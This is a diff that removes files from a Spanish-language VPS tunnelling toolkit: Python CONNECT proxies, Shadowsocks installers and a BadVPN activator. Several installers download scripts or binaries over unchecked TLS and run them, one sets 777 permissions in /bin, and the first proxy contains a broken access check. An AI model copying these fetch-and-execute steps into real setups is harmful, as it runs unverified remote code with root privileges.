-        if replaced_reqbody is True:
-            return
-
-        u = urlsplit(req.path)
-        address = (u.hostname, u.port or 443)
-        try:
-            conn = socket.create_connection(address)
-        except socket.error:
-            return
-
-        self.send_response(200, msg1)
-        self.send_header('Connection', 'close')
-        self.end_headers()
-
-        conns = [self.connection, conn]
-        keep_connection = True
-        while keep_connection:
-            if not server.find(hostip) != -1:
-                self.send_error(403, msg2)
-                self.close_connection
-            keep_connection = False
-            rlist, wlist, xlist = select.select(conns, [], conns, self.timeout)
-            if xlist:
-                break
-            for r in rlist:
-                other = conns[1] if r is conns[0] else conns[0]
-                data = r.recv(8192)
-                if data:
-                    other.sendall(data)
-                    keep_connection = True
-        conn.close()
-
-    def do_HEAD(self):
-        self.do_SPAM()
-
-    def do_GET(self):
-        self.do_SPAM()
-
-    def do_POST(self):
-        self.do_SPAM()
-
-    def do_SPAM(self):
-        req = self
-
-        content_length = int(req.headers.get('Content-Length', 0))
-        if content_length > 0:
-            reqbody = self.rfile.read(content_length)
-        else:
-            reqbody = None
-
-        replaced_reqbody = self.request_handler(req, reqbody)
-        if replaced_reqbody is True:
-            return
-        elif replaced_reqbody is not None:
-            reqbody = replaced_reqbody
-            if 'Content-Length' in req.headers:
-                req.headers['Content-Length'] = str(len(reqbody))
-
-        
-        self.remove_hop_by_hop_headers(req.headers)
-        if self.upstream_timeout:
-            req.headers['Connection'] = 'Keep-Alive'
-        else:
-            req.headers['Connection'] = 'close'
-        if self.proxy_via:
-            self.modify_via_header(req.headers)
-
-        try:
-            res, resdata = self.request_to_upstream_server(req, reqbody)
-        except socket.error:
-            return
-
-        content_encoding = res.headers.get('Content-Encoding', 'identity')
-        resbody = self.decode_content_body(resdata, content_encoding)
-
-        replaced_resbody = self.response_handler(req, reqbody, res, resbody)
-        if replaced_resbody is True:
-            return
-        elif replaced_resbody is not None:
-            resdata = self.encode_content_body(replaced_resbody, content_encoding)
-            if 'Content-Length' in res.headers:
-                res.headers['Content-Length'] = str(len(resdata))
-            resbody = replaced_resbody
-
-        self.remove_hop_by_hop_headers(res.headers)
-        if self.timeout:
-            res.headers['Connection'] = 'Keep-Alive'
-        else:
-            res.headers['Connection'] = 'close'
-        if self.proxy_via:
-            self.modify_via_header(res.headers)
-
-        self.send_response(res.status, res.reason)
-        for k, v in list(res.headers.items()):
-            if k == 'set-cookie':
-                
-                for value in self.split_set_cookie_header(v):
-                    self.send_header(k, value)
-            else:
-                self.send_header(k, v)
-        self.end_headers()
-
-        if self.command != 'HEAD':
-            self.wfile.write(resdata)
-            with self.global_lock:
-                self.save_handler(req, reqbody, res, resbody)
-
-    def request_to_upstream_server(self, req, reqbody):
-        u = urlsplit(req.path)
-
-        origin = (u.scheme, u.netloc)
-
-        
-        req.headers['Host'] = u.netloc
-        selector = "%s?%s" % (u.path, u.query) if u.query else u.path
-
-        while True:
-            with self.lock_origin(origin):
-                conn = self.open_origin(origin)
-                try:
-                    conn.request(req.command, selector, reqbody, headers=dict(req.headers))
-                except socket.error:
-                    
-                    self.close_origin(origin)
-                    raise
-                try:
-                    res = conn.getresponse(buffering=True)
-                except http.client.BadStatusLine as e:
-                    if e.line == "''":
-                        
-                        self.close_origin(origin)
-                        continue
-                    else:
-                        raise
-                resdata = res.read()
-                res.headers = res.msg    
-                if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''):
-                    self.close_origin(origin)
-                else:
-                    self.reset_timer(origin)
-            return res, resdata
-
-    def lock_origin(self, origin):
-        d = self.conn_table.setdefault(origin, {})
-        if not 'lock' in d:
-            d['lock'] = Lock()
-        return d['lock']
-
-    def open_origin(self, origin):
-        conn = self.conn_table[origin].get('connection')
-        if not conn:
-            scheme, netloc = origin
-            if scheme == 'https':
-                conn = http.client.HTTPSConnection(netloc)
-            else:
-                conn = http.client.HTTPConnection(netloc)
-            self.reset_timer(origin)
-            self.conn_table[origin]['connection'] = conn
-        return conn
-
-    def reset_timer(self, origin):
-        timer = self.conn_table[origin].get('timer')
-        if timer:
-            timer.cancel()
-        if self.upstream_timeout:
-            timer = Timer(self.upstream_timeout, self.close_origin, args=[origin])
-            timer.daemon = True
-            timer.start()
-        else:
-            timer = None
-        self.conn_table[origin]['timer'] = timer
-
-    def close_origin(self, origin):
-        timer = self.conn_table[origin]['timer']
-        if timer:
-            timer.cancel()
-        conn = self.conn_table[origin]['connection']
-        conn.close()
-        del self.conn_table[origin]['connection']
-
-    def remove_hop_by_hop_headers(self, headers):
-        hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade']
-        connection = headers.get('Connection')
-        if connection:
-            keys = re.split(r',\s*', connection)
-            hop_by_hop_headers.extend(keys)
-
-        for k in hop_by_hop_headers:
-            if k in headers:
-                del headers[k]
-
-    def modify_via_header(self, headers):
-        via_string = "%s %s" % (self.protocol_version, self.proxy_via)
-        via_string = re.sub(r'^HTTP/', '', via_string)
-
-        original = headers.get('Via')
-        if original:
-            headers['Via'] = original + ', ' + via_string
-        else:
-            headers['Via'] = via_string
-
-    def decode_content_body(self, data, content_encoding):
-        if content_encoding in ('gzip', 'x-gzip'):
-            io = StringIO(data)
-            with gzip.GzipFile(fileobj=io) as f:
-                body = f.read()
-        elif content_encoding == 'deflate':
-            body = zlib.decompress(data)
-        elif content_encoding == 'identity':
-            body = data
-        else:
-            raise Exception("Unknown Content-Encoding: %s" % content_encoding)
-        return body
-
-    def encode_content_body(self, body, content_encoding):
-        if content_encoding in ('gzip', 'x-gzip'):
-            io = StringIO()
-            with gzip.GzipFile(fileobj=io, mode='wb') as f:
-                f.write(body)
-            data = io.getvalue()
-        elif content_encoding == 'deflate':
-            data = zlib.compress(body)
-        elif content_encoding == 'identity':
-            data = body
-        else:
-            raise Exception("Unknown Content-Encoding: %s" % content_encoding)
-        return data
-
-    def split_set_cookie_header(self, value):
-        re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?'
-        return re.findall(re_cookies, value, flags=re.IGNORECASE)
-
-    def request_handler(self, req, reqbody):
-        
-        pass
-
-    def response_handler(self, req, reqbody, res, resbody):
-     
-        pass
-
-    def save_handler(self, req, reqbody, res, resbody):
-     
-        pass
-
-
-
-
-def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"):
-    port = int(sys.argv[1])
-    server_address = ('', port)
-
-    HandlerClass.protocol_version = protocol
-    httpd = ServerClass(server_address, HandlerClass)
-
-    sa = httpd.socket.getsockname()
-    print("Servidor: " + str(sa[0]) + " Porta " + str(sa[1]))
-    httpd.serve_forever()
-
-
-if __name__ == '__main__':
-    test()

+ 0 - 318
SCRIPT-v8.5x Mod/VPS-MX/protocolos/PPub.py

@@ -1,318 +0,0 @@
-#!/usr/bin/env python
-
-import sys
-import httplib
-from SocketServer import ThreadingMixIn
-from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
-from threading import Lock, Timer
-from cStringIO import StringIO
-from urlparse import urlsplit
-import socket
-import select
-import gzip
-import zlib
-import re
-import traceback
-
-if sys.argv[2:]:
- msg1 = sys.argv[2]
-else:
- msg1 = "ADM-ULTIMATE"
-
-
-class ThreadingHTTPServer(ThreadingMixIn, HTTPServer):
-
-    address_family = socket.AF_INET
-
-    def handle_error(self, request, client_address):
-        
-        print >>sys.stderr, '-'*40
-        print >>sys.stderr, 'Exception happened during processing of request from', client_address
-        traceback.print_exc()
-        print >>sys.stderr, '-'*40
-        
-     
-class ThreadingHTTPServer6(ThreadingHTTPServer):
-
-    address_family = socket.AF_INET6
-
-
-class SimpleHTTPProxyHandler(BaseHTTPRequestHandler):
-    global_lock = Lock()
-    conn_table = {}
-    timeout = 300               
-    upstream_timeout = 300    
-    proxy_via = None          
-
-    def log_error(self, format, *args):
-        if format == "Request timed out: %r":
-            return
-        self.log_message(format, *args)
-
-    def do_CONNECT(self):
-        
-
-        req = self
-        reqbody = None
-        req.path = "https://%s/" % req.path.replace(':443', '')
-
-        replaced_reqbody = self.request_handler(req, reqbody)
-        if replaced_reqbody is True:
-            return
-
-        u = urlsplit(req.path)
-        address = (u.hostname, u.port or 443)
-        try:
-            conn = socket.create_connection(address)
-        except socket.error:
-            return
-        self.send_response(200, msg1)
-        self.send_header('Connection', 'close')
-        self.end_headers()
-
-        conns = [self.connection, conn] 
-        keep_connection = True
-        while keep_connection:
-            keep_connection = False
-            rlist, wlist, xlist = select.select(conns, [], conns, self.timeout)
-            if xlist:
-                break
-            for r in rlist:
-                other = conns[1] if r is conns[0] else conns[0]
-                data = r.recv(8192)
-                if data:
-                    other.sendall(data)
-                    keep_connection = True
-        conn.close()
-
-    def do_HEAD(self):
-        self.do_SPAM()
-
-    def do_GET(self):
-        self.do_SPAM()
-
-    def do_POST(self):
-        self.do_SPAM()
-
-    def do_SPAM(self):
-        req = self
-        content_length = int(req.headers.get('Content-Length', 0))
-        if content_length > 0:
-            reqbody = self.rfile.read(content_length)
-        else:
-            reqbody = None
-
-        replaced_reqbody = self.request_handler(req, reqbody)
-        if replaced_reqbody is True:
-            return
-        elif replaced_reqbody is not None:
-            reqbody = replaced_reqbody
-            if 'Content-Length' in req.headers:
-                req.headers['Content-Length'] = str(len(reqbody))
-
-        
-        self.remove_hop_by_hop_headers(req.headers)
-        if self.upstream_timeout:
-            req.headers['Connection'] = 'Keep-Alive'
-        else:
-            req.headers['Connection'] = 'close'
-        if self.proxy_via:
-            self.modify_via_header(req.headers)
-
-        try:
-            res, resdata = self.request_to_upstream_server(req, reqbody)
-        except socket.error:
-            return
-
-        content_encoding = res.headers.get('Content-Encoding', 'identity')
-        resbody = self.decode_content_body(resdata, content_encoding)
-
-        replaced_resbody = self.response_handler(req, reqbody, res, resbody)
-        if replaced_resbody is True:
-            return
-        elif replaced_resbody is not None:
-            resdata = self.encode_content_body(replaced_resbody, content_encoding)
-            if 'Content-Length' in res.headers:
-                res.headers['Content-Length'] = str(len(resdata))
-            resbody = replaced_resbody
-
-        self.remove_hop_by_hop_headers(res.headers)
-        if self.timeout:
-            res.headers['Connection'] = 'Keep-Alive'
-        else:
-            res.headers['Connection'] = 'close'
-        if self.proxy_via:
-            self.modify_via_header(res.headers)
-
-        self.send_response(res.status, res.reason)
-        for k, v in res.headers.items():
-            if k == 'set-cookie':
-                
-                for value in self.split_set_cookie_header(v):
-                    self.send_header(k, value)
-            else:
-                self.send_header(k, v)
-        self.end_headers()
-
-        if self.command != 'HEAD':
-            self.wfile.write(resdata)
-            with self.global_lock:
-                self.save_handler(req, reqbody, res, resbody)
-
-    def request_to_upstream_server(self, req, reqbody):
-        u = urlsplit(req.path)
-        origin = (u.scheme, u.netloc)
-
-        
-        req.headers['Host'] = u.netloc
-        selector = "%s?%s" % (u.path, u.query) if u.query else u.path
-
-        while True:
-            with self.lock_origin(origin):
-                conn = self.open_origin(origin)
-                try:
-                    conn.request(req.command, selector, reqbody, headers=dict(req.headers))
-                except socket.error:
-                    
-                    self.close_origin(origin)
-                    raise
-                try:
-                    res = conn.getresponse(buffering=True)
-                except httplib.BadStatusLine as e:
-                    if e.line == "''":
-                        
-                        self.close_origin(origin)
-                        continue
-                    else:
-                        raise
-                resdata = res.read()
-                res.headers = res.msg    
-                if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''):
-                    self.close_origin(origin)
-                else:
-                    self.reset_timer(origin)
-            return res, resdata
-
-    def lock_origin(self, origin):
-        d = self.conn_table.setdefault(origin, {})
-        if not 'lock' in d:
-            d['lock'] = Lock()
-        return d['lock']
-
-    def open_origin(self, origin):
-        conn = self.conn_table[origin].get('connection')
-        if not conn:
-            scheme, netloc = origin
-            if scheme == 'https':
-                conn = httplib.HTTPSConnection(netloc)
-            else:
-                conn = httplib.HTTPConnection(netloc)
-            self.reset_timer(origin)
-            self.conn_table[origin]['connection'] = conn
-        return conn
-
-    def reset_timer(self, origin):
-        timer = self.conn_table[origin].get('timer')
-        if timer:
-            timer.cancel()
-        if self.upstream_timeout:
-            timer = Timer(self.upstream_timeout, self.close_origin, args=[origin])
-            timer.daemon = True
-            timer.start()
-        else:
-            timer = None
-        self.conn_table[origin]['timer'] = timer
-
-    def close_origin(self, origin):
-        timer = self.conn_table[origin]['timer']
-        if timer:
-            timer.cancel()
-        conn = self.conn_table[origin]['connection']
-        conn.close()
-        del self.conn_table[origin]['connection']
-
-    def remove_hop_by_hop_headers(self, headers):
-        hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade']
-        connection = headers.get('Connection')
-        if connection:
-            keys = re.split(r',\s*', connection)
-            hop_by_hop_headers.extend(keys)
-
-        for k in hop_by_hop_headers:
-            if k in headers:
-                del headers[k]
-
-    def modify_via_header(self, headers):
-        via_string = "%s %s" % (self.protocol_version, self.proxy_via)
-        via_string = re.sub(r'^HTTP/', '', via_string)
-
-        original = headers.get('Via')
-        if original:
-            headers['Via'] = original + ', ' + via_string
-        else:
-            headers['Via'] = via_string
-
-    def decode_content_body(self, data, content_encoding):
-        if content_encoding in ('gzip', 'x-gzip'):
-            io = StringIO(data)
-            with gzip.GzipFile(fileobj=io) as f:
-                body = f.read()
-        elif content_encoding == 'deflate':
-            body = zlib.decompress(data)
-        elif content_encoding == 'identity':
-            body = data
-        else:
-            raise Exception("Unknown Content-Encoding: %s" % content_encoding)
-        return body
-
-    def encode_content_body(self, body, content_encoding):
-        if content_encoding in ('gzip', 'x-gzip'):
-            io = StringIO()
-            with gzip.GzipFile(fileobj=io, mode='wb') as f:
-                f.write(body)
-            data = io.getvalue()
-        elif content_encoding == 'deflate':
-            data = zlib.compress(body)
-        elif content_encoding == 'identity':
-            data = body
-        else:
-            raise Exception("Unknown Content-Encoding: %s" % content_encoding)
-        return data
-
-    def split_set_cookie_header(self, value):
-        re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?'
-        return re.findall(re_cookies, value, flags=re.IGNORECASE)
-
-    def request_handler(self, req, reqbody):
-        
-        pass
-
-    def response_handler(self, req, reqbody, res, resbody):
-     
-        pass
-
-    def save_handler(self, req, reqbody, res, resbody):
-     
-        pass
-
-
-
-
-def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"):
-    if sys.argv[1:]:
-        port = int(sys.argv[1])
-    else:
-        port = 8799
-    server_address = ('', port)
-
-    HandlerClass.protocol_version = protocol
-    httpd = ServerClass(server_address, HandlerClass)
-
-    sa = httpd.socket.getsockname()
-    print "Serving HTTP on", sa[0], "port", sa[1], "..."
-    httpd.serve_forever()
-
-
-if __name__ == '__main__':
-    test()
-

+ 0 - 115
SCRIPT-v8.5x Mod/VPS-MX/protocolos/Shadowsocks-R.sh

@@ -1,115 +0,0 @@
-#!/bin/bash
-#25/01/2021
-clear
-clear
-declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
-SCPdir="/etc/VPS-MX"
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
-SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
-mportas () {
-unset portas
-portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
-while read port; do
-var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
-[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
-done <<< "$portas_var"
-i=1
-echo -e "$portas"
-}
-fun_ip () {
-MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
-MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
-[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
-}
-fun_eth () {
-eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
-    [[ $eth != "" ]] && {
-    msg -bar
-    echo -e "${cor[3]} $(fun_trans ${id} "Aplicar Sistema Para Mejorar Paquetes SSH?")"
-    echo -e "${cor[3]} $(fun_trans ${id} "Opcion Para Usuarios Avanzados")"
-    msg -bar
-    read -p " [S/N]: " -e -i n sshsn
-           [[ "$sshsn" = @(s|S|y|Y) ]] && {
-           echo -e "${cor[1]} $(fun_trans ${id} "Correccion de problemas de paquetes en SSH...")"
-           echo -e " $(fun_trans ${id} "Cual es la Tasa de RX")"
-           echo -ne "[ 1 - 999999999 ]: "; read rx
-           [[ "$rx" = "" ]] && rx="999999999"
-           echo -e " $(fun_trans ${id} "Cual es la Tasa de  TX")"
-           echo -ne "[ 1 - 999999999 ]: "; read tx
-           [[ "$tx" = "" ]] && tx="999999999"
-           apt-get install ethtool -y > /dev/null 2>&1
-           ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1
-           }
-     msg -bar
-     }
-}
-fun_bar () {
-comando="$1"
- _=$(
-$comando > /dev/null 2>&1
-) & > /dev/null
-pid=$!
-while [[ -d /proc/$pid ]]; do
-echo -ne " \033[1;33m["
-   for((i=0; i<10; i++)); do
-   echo -ne "\033[1;31m##"
-   sleep 0.2
-   done
-echo -ne "\033[1;33m]"
-sleep 1s
-echo
-tput cuu1
-tput dl1
-done
-echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m"
-sleep 1s
-}
-fun_shadowsocks () {
-[[ -e /etc/shadowsocks-r/config.json ]] && {
-[[ $(ps ax|grep /etc/shadowsocks-r|grep -v grep|awk '{print $1}') != "" ]] && kill -9 $(ps ax|grep /etc/shadowsocks-r|grep -v grep|awk '{print $1}') > /dev/null 2>&1 && ss-server -c /etc/shadowsocks-r/config.json -d stop > /dev/null 2>&1
-echo -e "\033[1;33m $(fun_trans ${id} "SHADOWSOCKS R PARADO")"
-msg -bar
-rm -rf /etc/shadowsocks-r/config.json
-return 0
-}
-msg -bar
-msg -tit
-echo -e "${cor[3]}    INSTALADOR SHADOWSOCK-R+(obfs) By @Kalix1"
-msg -bar
-echo -e "${cor[1]} Escoja la opcion deseada."
-msg -bar
-echo "1).- INSTALAR SHADOWSOCK-R"
-echo "2).- DESINSTALAR SHADOWSOCK-R"
-msg -bar
-echo -n "Digite solo el numero segun su respuesta: "
-read opcao
-case $opcao in
-1)
-msg -bar
-wget --no-check-certificate -O Instalador-Shadowsocks-R.sh https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/Instalador-Shadowsocks-R.sh > /dev/null 2>&1
-chmod +x Instalador-Shadowsocks-R.sh
-./Instalador-Shadowsocks-R.sh 2>&1 
-
-;;
-2)
-msg -bar
-echo -e "\033[1;93m  Desinstalar  ..."
-msg -bar
-wget --no-check-certificate -O Instalador-Shadowsocks-R.sh https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/Instalador-Shadowsocks-R.sh > /dev/null 2>&1
-chmod +x Instalador-Shadowsocks-R.sh
-./Instalador-Shadowsocks-R.sh uninstall
-rm -rf Instalador-Shadowsocks-R.sh
-msg -bar
-sleep 3
-exit
-;;
-esac
-value=$(ps ax |grep /etc/shadowsocks-r|grep -v grep)
-[[ $value != "" ]] && value="\033[1;32mINICIADO CON EXITO" || value="\033[1;31mERROR"
-msg -bar
-echo -e "${value}"
-msg -bar
-return 0
-}
-fun_shadowsocks
-rm -rf Instalador-Shadowsocks-R.sh

+ 0 - 116
SCRIPT-v8.5x Mod/VPS-MX/protocolos/Shadowsocks-libev.sh

@@ -1,116 +0,0 @@
-#!/bin/bash
-#25/01/2021
-clear
-clear
-declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
-SCPdir="/etc/VPS-MX"
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
-SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
-mportas () {
-unset portas
-portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
-while read port; do
-var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
-[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
-done <<< "$portas_var"
-i=1
-echo -e "$portas"
-}
-fun_ip () {
-MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
-MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
-[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
-}
-fun_eth () {
-eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
-    [[ $eth != "" ]] && {
-    msg -bar
-    echo -e "${cor[3]} $(fun_trans ${id} "Aplicar Sistema Para Mejorar Paquetes SSH?")"
-    echo -e "${cor[3]} $(fun_trans ${id} "Opcion Para Usuarios Avanzados")"
-    msg -bar
-    read -p " [S/N]: " -e -i n sshsn
-           [[ "$sshsn" = @(s|S|y|Y) ]] && {
-           echo -e "${cor[1]} $(fun_trans ${id} "Correccion de problemas de paquetes en SSH...")"
-           echo -e " $(fun_trans ${id} "Cual es la Tasa de RX")"
-           echo -ne "[ 1 - 999999999 ]: "; read rx
-           [[ "$rx" = "" ]] && rx="999999999"
-           echo -e " $(fun_trans ${id} "Cual es la Tasa de  TX")"
-           echo -ne "[ 1 - 999999999 ]: "; read tx
-           [[ "$tx" = "" ]] && tx="999999999"
-           apt-get install ethtool -y > /dev/null 2>&1
-           ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1
-           }
-     msg -bar
-     }
-}
-fun_bar () {
-comando="$1"
- _=$(
-$comando > /dev/null 2>&1
-) & > /dev/null
-pid=$!
-while [[ -d /proc/$pid ]]; do
-echo -ne " \033[1;33m["
-   for((i=0; i<10; i++)); do
-   echo -ne "\033[1;31m##"
-   sleep 0.2
-   done
-echo -ne "\033[1;33m]"
-sleep 1s
-echo
-tput cuu1
-tput dl1
-done
-echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m"
-sleep 1s
-}
-fun_shadowsocks () {
-[[ -e /etc/shadowsocks-libev/config.json ]] && {
-[[ $(ps ax|grep ss-server|grep -v grep|awk '{print $1}') != "" ]] && kill -9 $(ps ax|grep ss-server|grep -v grep|awk '{print $1}') > /dev/null 2>&1 && ss-server -c /etc/shadowsocks-libev/config.json -d stop > /dev/null 2>&1
-echo -e "\033[1;33m $(fun_trans ${id} "SHADOWSOCKS PLUS PARADO")"
-msg -bar
-rm /etc/shadowsocks-libev/config.json
-return 0
-}
-msg -bar
-msg -tit
-echo -e "${cor[3]}  INSTALADOR SHADOWSOCK-LIBEV+(obfs) By @Kalix1"
-msg -bar
-echo -e "${cor[1]} Escoja la opcion deseada."
-msg -bar
-echo "1).- INSTALAR SHADOWSOCK-LIBEV"
-echo "2).- DESINSTALAR SHADOWSOCK-LIBEV"
-msg -bar
-echo -n "Digite solo el numero segun su respuesta: "
-read opcao
-case $opcao in
-1)
-msg -bar
-wget --no-check-certificate -O Instalador-Shadowsocks-libev.sh https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/Instalador-Shadowsocks-libev.sh > /dev/null 2>&1
-chmod +x Instalador-Shadowsocks-libev.sh
-./Instalador-Shadowsocks-libev.sh 2>&1 | tee Instalador-Shadowsocks-libev.log
-
-;;
-2)
-msg -bar
-echo -e "\033[1;93m  Desinstalar  ..."
-msg -bar
-wget --no-check-certificate -O Instalador-Shadowsocks-libev.sh https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/Instalador-Shadowsocks-libev.sh > /dev/null 2>&1
-chmod +x Instalador-Shadowsocks-libev.sh
-./Instalador-Shadowsocks-libev.sh uninstall
-rm -rf Instalador-Shadowsocks-libev.sh
-msg -bar
-sleep 3
-exit
-;;
-esac
-rm -rf Instalador-Shadowsocks-libev.sh
-value=$(ps ax |grep ss-server|grep -v grep)
-[[ $value != "" ]] && value="\033[1;32mINICIADO CON EXITO" || value="\033[1;31mERROR"
-msg -bar
-echo -e "${value}"
-msg -bar
-return 0
-}
-fun_shadowsocks
-rm -rf shadowsocks-all.sh

+ 0 - 93
SCRIPT-v8.5x Mod/VPS-MX/protocolos/budp.sh

@@ -1,93 +0,0 @@
-#!/bin/bash
-clear
-clear
-declare -A cor=([0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m")
-SCPdir="/etc/VPS-MX"
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
-SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPinst} ]] && exit
-
-mportas() {
-	unset portas
-	portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN")
-	while read port; do
-		var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
-		[[ "$(echo -e $portas | grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
-	done <<<"$portas_var"
-	i=1
-	echo -e "$portas"
-}
-
-activado() {
-	msg -bar
-	#puerto local
-	[[ "$(ps x | grep badvpn | grep -v grep | awk '{print $1}')" ]] && msg -verd "                  ACTIVADO CON EXITO" || msg -ama "                 Falló"
-	msg -bar
-}
-BadVPN() {
-	pid_badvpn=$(ps x | grep badvpn | grep -v grep | awk '{print $1}')
-	#if [ "$pid_badvpn" = "" ]; then
-	if [[ ! -e /bin/badvpn-udpgw ]]; then
-		wget -O /bin/badvpn-udpgw https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/badvpn-udpgw &>/dev/null
-		chmod 777 /bin/badvpn-udpgw
-	fi
-	#fix rclocal
-	msg -bar
-	msg -tit
-	msg -ama "  \e[1;43m\e[91mACTIVADOR DE BADVPN (7100-7200-7300-Multi Port)\e[0m"
-	msg -bar
-	echo -e "$(msg -verd "[1]")$(msg -verm2 "➛ ")$(msg -azu "ACTIVAR BADVPN 7300")"
-	echo -e "$(msg -verd "[2]")$(msg -verm2 "➛ ")$(msg -azu "AGREGAR +PORT BADVPN ")"
-	echo -e "$(msg -verd "[3]")$(msg -verm2 "➛ ")$(msg -azu "DETENER SERVICIO BADVPN")"
-
-	msg -bar
-	read -p "Digite una opción (default 1): " -e -i 1 portasx
-	tput cuu1 && tput dl1
-	if [[ ${portasx} = 1 ]]; then
-		screen -dmS badvpn2 /bin/badvpn-udpgw --listen-addr 127.0.0.1:7300 --max-clients 1000 --max-connections-for-client 10
-		echo -e "#!/bin/sh -e" >/etc/rc.local
-		echo -e "exit 0" >>/etc/rc.local
-		echo -e "#!/bin/bash" >>/etc/rc.local
-		echo -e "screen -dmS udpvpn /bin/badvpn-udpgw --listen-addr 127.0.0.1:7300 --max-clients 1000 --max-connections-for-client 10" >>/etc/rc.local
-		echo -e "exit 0" >>/etc/rc.local
-		chmod +x /etc/rc.local &>/dev/null
-		systemctl enable rc-local.service &>/dev/null
-		systemctl start rc-local.service &>/dev/null
-		systemctl restart rc-local.service &>/dev/null
-		activado
-	elif [[ ${portasx} = 2 ]]; then
-
-		read -p " Digite El Puerto Para Badvpn: " ud
-		screen -dmS badvpn2 /bin/badvpn-udpgw --listen-addr 127.0.0.1:$ud --max-clients 1000 --max-connections-for-client 10
-		echo -e "#!/bin/sh -e" >/etc/rc.local
-		echo -e "exit 0" >>/etc/rc.local
-		echo -e "#!/bin/bash" >>/etc/rc.local
-		echo -e "screen -dmS udpvpn /bin/badvpn-udpgw --listen-addr 127.0.0.1:$ud --max-clients 1000 --max-connections-for-client 10" >>/etc/rc.local
-		echo -e "exit 0" >>/etc/rc.local
-		chmod +x /etc/rc.local &>/dev/null
-		systemctl enable rc-local.service &>/dev/null
-		systemctl start rc-local.service &>/dev/null
-		systemctl restart rc-local.service &>/dev/null
-		activado
-	elif [[ ${portasx} = 3 ]]; then
-
-		msg -bar
-		msg -tit
-		msg -ama "          DESACTIVADOR DE BADVPN (UDP)"
-		msg -bar
-		kill -9 $(ps x | grep badvpn | grep -v grep | awk '{print $1'}) >/dev/null 2>&1
-		killall badvpn-udpgw >/dev/null 2>&1
-		rm -rf /bin/badvpn-udpgw
-		echo -e "#!/bin/sh -e " >/etc/rc.local
-		echo "exit 0" >>/etc/rc.local
-		[[ ! "$(ps x | grep badvpn | grep -v grep | awk '{print $1}')" ]] && msg -ne "                DESACTIVADO CON EXITO \n"
-		unset pid_badvpn
-		msg -bar
-	elif [[ ${portasx} = 0 ]]; then
-		msg -verm "	SALIENDO"
-		exit
-	fi
-
-	unset pid_badvpn
-}
-
-BadVPN

+ 0 - 170
SCRIPT-v8.5x Mod/VPS-MX/protocolos/dropbear.sh

@@ -1,170 +0,0 @@
-#!/bin/bash
